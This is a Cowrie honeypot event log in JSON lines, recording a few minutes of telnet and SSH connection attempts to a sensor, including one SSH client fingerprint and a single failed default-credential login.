{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44678,"dst_ip":"10.17.0.5","dst_port":23,"session":"858218667383","protocol":"telnet","message":"New connection: 65.60.27.33:44678 (10.17.0.5:23) [session: 858218667383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:02.994393Z"}
{"eventid":"cowrie.session.closed","duration":34.68268871307373,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:03.316817Z","src_ip":"62.210.97.77","session":"8e7a8b55d30a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49742,"dst_ip":"10.17.0.5","dst_port":23,"session":"55453433476d","protocol":"telnet","message":"New connection: 38.54.119.93:49742 (10.17.0.5:23) [session: 55453433476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:04.835782Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47192,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b72789df2ec","protocol":"telnet","message":"New connection: 65.60.27.33:47192 (10.17.0.5:23) [session: 9b72789df2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:05.271897Z"}
{"eventid":"cowrie.session.closed","duration":40.139288663864136,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:05.615644Z","src_ip":"62.210.97.77","session":"4e3644e9c3de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47478,"dst_ip":"10.17.0.5","dst_port":23,"session":"3477956c55d4","protocol":"telnet","message":"New connection: 65.60.27.33:47478 (10.17.0.5:23) [session: 3477956c55d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:05.659750Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40958,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87d151fa7b3","protocol":"telnet","message":"New connection: 62.210.97.77:40958 (10.17.0.5:23) [session: a87d151fa7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:06.566532Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":44458,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdfe1bc2462a","protocol":"ssh","message":"New connection: 80.94.92.182:44458 (159.203.135.109:22) [session: cdfe1bc2462a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:06.897953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:06.906203Z","src_ip":"80.94.92.182","session":"cdfe1bc2462a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:07.478416Z","src_ip":"80.94.92.182","session":"cdfe1bc2462a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.066431283950806,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:07.542208Z","src_ip":"65.60.27.33","session":"409aa80529dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:08.009027Z","src_ip":"80.94.92.182","session":"cdfe1bc2462a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.63530707359314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:08.745423Z","src_ip":"62.210.97.77","session":"7afc5e17ad87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.27115035057068,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:10.076346Z","src_ip":"62.210.97.77","session":"bf0eb7b5cf0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57340621948242,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:10.178670Z","src_ip":"62.210.97.77","session":"d5535a58bb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35458,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d59da35858f","protocol":"telnet","message":"New connection: 165.232.131.181:35458 (10.17.0.5:23) [session: 6d59da35858f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:10.301337Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:10.326180Z","src_ip":"80.94.92.182","session":"cdfe1bc2462a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98001265525818,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:10.388475Z","src_ip":"65.60.27.33","session":"606c4698943f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57546,"dst_ip":"10.17.0.5","dst_port":23,"session":"afcfbc934383","protocol":"telnet","message":"New connection: 62.210.97.77:57546 (10.17.0.5:23) [session: afcfbc934383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:11.205813Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57550,"dst_ip":"10.17.0.5","dst_port":23,"session":"53e13d62d542","protocol":"telnet","message":"New connection: 62.210.97.77:57550 (10.17.0.5:23) [session: 53e13d62d542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:11.665175Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56532,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7021bb3484","protocol":"telnet","message":"New connection: 65.60.27.33:56532 (10.17.0.5:23) [session: 0d7021bb3484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:13.682695Z"}
{"eventid":"cowrie.session.closed","duration":0.48954129219055176,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:14.172134Z","src_ip":"65.60.27.33","session":"0d7021bb3484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1198948599","protocol":"telnet","message":"New connection: 65.60.27.33:57878 (10.17.0.5:23) [session: 0f1198948599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:15.334764Z"}
{"eventid":"cowrie.session.closed","duration":32.91123557090759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:15.979164Z","src_ip":"62.210.97.77","session":"e180216039c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35078,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e8ef143224","protocol":"telnet","message":"New connection: 165.232.131.181:35078 (10.17.0.5:23) [session: 38e8ef143224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:16.210676Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57564,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b987d7f951d","protocol":"telnet","message":"New connection: 62.210.97.77:57564 (10.17.0.5:23) [session: 1b987d7f951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:16.271190Z"}
{"eventid":"cowrie.session.closed","duration":34.73631286621094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:16.679439Z","src_ip":"62.210.97.77","session":"b1feb1f749a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73260807991028,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:17.034232Z","src_ip":"62.210.97.77","session":"5ea37fcaa6b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57578,"dst_ip":"10.17.0.5","dst_port":23,"session":"125b46c397d4","protocol":"telnet","message":"New connection: 62.210.97.77:57578 (10.17.0.5:23) [session: 125b46c397d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:18.496446Z"}
{"eventid":"cowrie.session.closed","duration":46.213258266448975,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:21.330826Z","src_ip":"65.60.27.33","session":"628e7aa18dfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38604,"dst_ip":"10.17.0.5","dst_port":23,"session":"49fd3b5949fa","protocol":"telnet","message":"New connection: 65.60.27.33:38604 (10.17.0.5:23) [session: 49fd3b5949fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:22.928171Z"}
{"eventid":"cowrie.session.closed","duration":32.687737226486206,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:23.933007Z","src_ip":"62.210.97.77","session":"b70325d214e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.10485649108887,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:24.005204Z","src_ip":"65.60.27.33","session":"31d5d3e1d7c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.59013915061951,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:25.787878Z","src_ip":"65.60.27.33","session":"9f0a13dbf02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.535654067993164,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:27.208472Z","src_ip":"165.232.131.181","session":"82875efb532a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.426122188568115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:30.769041Z","src_ip":"62.210.97.77","session":"67728929cf4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.715492963790894,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:31.969987Z","src_ip":"62.210.97.77","session":"ce90c6b6c82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.14421057701111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:32.888491Z","src_ip":"62.210.97.77","session":"ca4610c0b4bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43400,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f0c60ecf5d","protocol":"telnet","message":"New connection: 62.210.97.77:43400 (10.17.0.5:23) [session: 20f0c60ecf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:34.518486Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43406,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e6488920e60","protocol":"telnet","message":"New connection: 62.210.97.77:43406 (10.17.0.5:23) [session: 1e6488920e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:36.987354Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55810,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef39da3339b0","protocol":"telnet","message":"New connection: 65.60.27.33:55810 (10.17.0.5:23) [session: ef39da3339b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:39.032792Z"}
{"eventid":"cowrie.session.closed","duration":34.14242911338806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:40.708860Z","src_ip":"62.210.97.77","session":"a87d151fa7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.77.182.54","src_port":42734,"dst_ip":"159.203.135.109","dst_port":23,"session":"342f1eefea38","protocol":"telnet","message":"New connection: 47.77.182.54:42734 (159.203.135.109:23) [session: 342f1eefea38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:41.694337Z"}
{"eventid":"cowrie.session.closed","duration":40.238133668899536,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:43.232401Z","src_ip":"65.60.27.33","session":"858218667383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57072,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf0f61a3848","protocol":"telnet","message":"New connection: 62.210.97.77:57072 (10.17.0.5:23) [session: fdf0f61a3848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:43.593042Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57084,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d0217d82e4","protocol":"telnet","message":"New connection: 62.210.97.77:57084 (10.17.0.5:23) [session: a7d0217d82e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:45.268320Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57096,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ab91858b66","protocol":"telnet","message":"New connection: 62.210.97.77:57096 (10.17.0.5:23) [session: a5ab91858b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:45.695781Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36638,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6a9d0eeb7a","protocol":"telnet","message":"New connection: 65.60.27.33:36638 (10.17.0.5:23) [session: da6a9d0eeb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:46.102675Z"}
{"eventid":"cowrie.session.closed","duration":35.189374685287476,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:46.395099Z","src_ip":"62.210.97.77","session":"afcfbc934383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.05328011512756,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:46.712886Z","src_ip":"65.60.27.33","session":"3477956c55d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37644,"dst_ip":"10.17.0.5","dst_port":23,"session":"398047f99d63","protocol":"telnet","message":"New connection: 65.60.27.33:37644 (10.17.0.5:23) [session: 398047f99d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:46.826669Z"}
{"eventid":"cowrie.session.closed","duration":35.97734713554382,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:47.642388Z","src_ip":"62.210.97.77","session":"53e13d62d542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16831040382385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:49.439357Z","src_ip":"62.210.97.77","session":"1b987d7f951d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.530170440673828,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:50.632732Z","src_ip":"65.60.27.33","session":"da6a9d0eeb7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"031c4df8057d","protocol":"telnet","message":"New connection: 62.210.97.77:37398 (10.17.0.5:23) [session: 031c4df8057d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:50.637661Z"}
{"eventid":"cowrie.session.closed","duration":36.02897000312805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:51.363622Z","src_ip":"65.60.27.33","session":"0f1198948599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.3531699180603,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:52.654406Z","src_ip":"165.232.131.181","session":"6d59da35858f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51672,"dst_ip":"10.17.0.5","dst_port":23,"session":"23d8555bc2e0","protocol":"telnet","message":"New connection: 165.232.131.181:51672 (10.17.0.5:23) [session: 23d8555bc2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:52.669273Z"}
{"eventid":"cowrie.session.closed","duration":35.317025661468506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:53.813343Z","src_ip":"62.210.97.77","session":"125b46c397d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.94836902618408,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:54.220141Z","src_ip":"65.60.27.33","session":"9b72789df2ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46084,"dst_ip":"10.17.0.5","dst_port":23,"session":"3df3031ca4f5","protocol":"telnet","message":"New connection: 65.60.27.33:46084 (10.17.0.5:23) [session: 3df3031ca4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:54.447405Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60136,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a86f7d97cdd","protocol":"telnet","message":"New connection: 62.210.97.77:60136 (10.17.0.5:23) [session: 6a86f7d97cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:59.562179Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60150,"dst_ip":"10.17.0.5","dst_port":23,"session":"20db9959c47a","protocol":"telnet","message":"New connection: 62.210.97.77:60150 (10.17.0.5:23) [session: 20db9959c47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:00.968540Z"}
{"eventid":"cowrie.session.closed","duration":7.61899209022522,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:02.066297Z","src_ip":"65.60.27.33","session":"3df3031ca4f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4219f3eb0053","protocol":"telnet","message":"New connection: 62.210.97.77:60166 (10.17.0.5:23) [session: 4219f3eb0053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:02.797634Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55504,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ec17379612","protocol":"telnet","message":"New connection: 165.232.131.181:55504 (10.17.0.5:23) [session: a4ec17379612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:02.955705Z"}
{"eventid":"cowrie.session.closed","duration":40.49130392074585,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:03.419306Z","src_ip":"65.60.27.33","session":"49fd3b5949fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60182,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03108e83c5c","protocol":"telnet","message":"New connection: 62.210.97.77:60182 (10.17.0.5:23) [session: c03108e83c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:05.792430Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"d774bf5f578c","protocol":"telnet","message":"New connection: 62.210.97.77:60188 (10.17.0.5:23) [session: d774bf5f578c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:06.330307Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e8ee20d1dd","protocol":"telnet","message":"New connection: 165.232.131.181:57264 (10.17.0.5:23) [session: a3e8ee20d1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:06.379804Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34408,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd26d5a7f583","protocol":"telnet","message":"New connection: 38.54.119.93:34408 (10.17.0.5:23) [session: fd26d5a7f583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:06.483028Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57532,"dst_ip":"10.17.0.5","dst_port":23,"session":"f903e05f8ad1","protocol":"telnet","message":"New connection: 165.232.131.181:57532 (10.17.0.5:23) [session: f903e05f8ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:07.309265Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e5070c1eb7","protocol":"telnet","message":"New connection: 62.210.97.77:60196 (10.17.0.5:23) [session: e5e5070c1eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:07.919485Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37792,"dst_ip":"10.17.0.5","dst_port":23,"session":"217370654e7f","protocol":"telnet","message":"New connection: 62.210.97.77:37792 (10.17.0.5:23) [session: 217370654e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:09.621353Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37806,"dst_ip":"10.17.0.5","dst_port":23,"session":"7812780828f6","protocol":"telnet","message":"New connection: 62.210.97.77:37806 (10.17.0.5:23) [session: 7812780828f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:10.457506Z"}
{"eventid":"cowrie.session.closed","duration":36.220683097839355,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:10.739079Z","src_ip":"62.210.97.77","session":"20f0c60ecf5d","protocol":"telnet"}
